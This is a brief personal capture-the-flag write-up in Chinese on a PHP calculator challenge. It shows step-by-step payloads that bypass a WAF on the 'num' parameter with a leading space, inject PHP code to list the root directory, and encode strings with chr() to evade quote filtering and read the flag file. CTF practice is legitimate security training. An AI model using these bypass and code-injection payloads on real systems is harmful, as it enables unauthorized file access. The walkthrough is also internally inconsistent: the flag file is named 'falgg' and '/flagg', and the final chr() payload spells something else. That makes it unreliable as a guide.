写给自己看 方便理解。
查看源代码
看到了URL
试试访问calc.php
尝试给num传参:发现只能传数字 而不能传字母。而我们要读取的可能就是flag这个文件
那我们可以利用PHP的字符串解析特性来绕过WAF,在num前面加上空格
绕过num传参后,我们要读取他根目录下的文件。
也就是
calc.php? num=print_r(scandir('/'));
却发现他没有返回我们想要的答案
抓包看看
发现他把 ' ' 引号给过滤掉了
那就用chr()绕过,chr(47)就是斜杠/ :
? num=print_r(scandir(chr(47)));
输入后 可以浏览根目录下的文件,而其中的falgg就是我们要读取的文件
? num=print_r(file_get_contents('/flagg'));
其中/flagg 用chr进行绕过
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
完结收工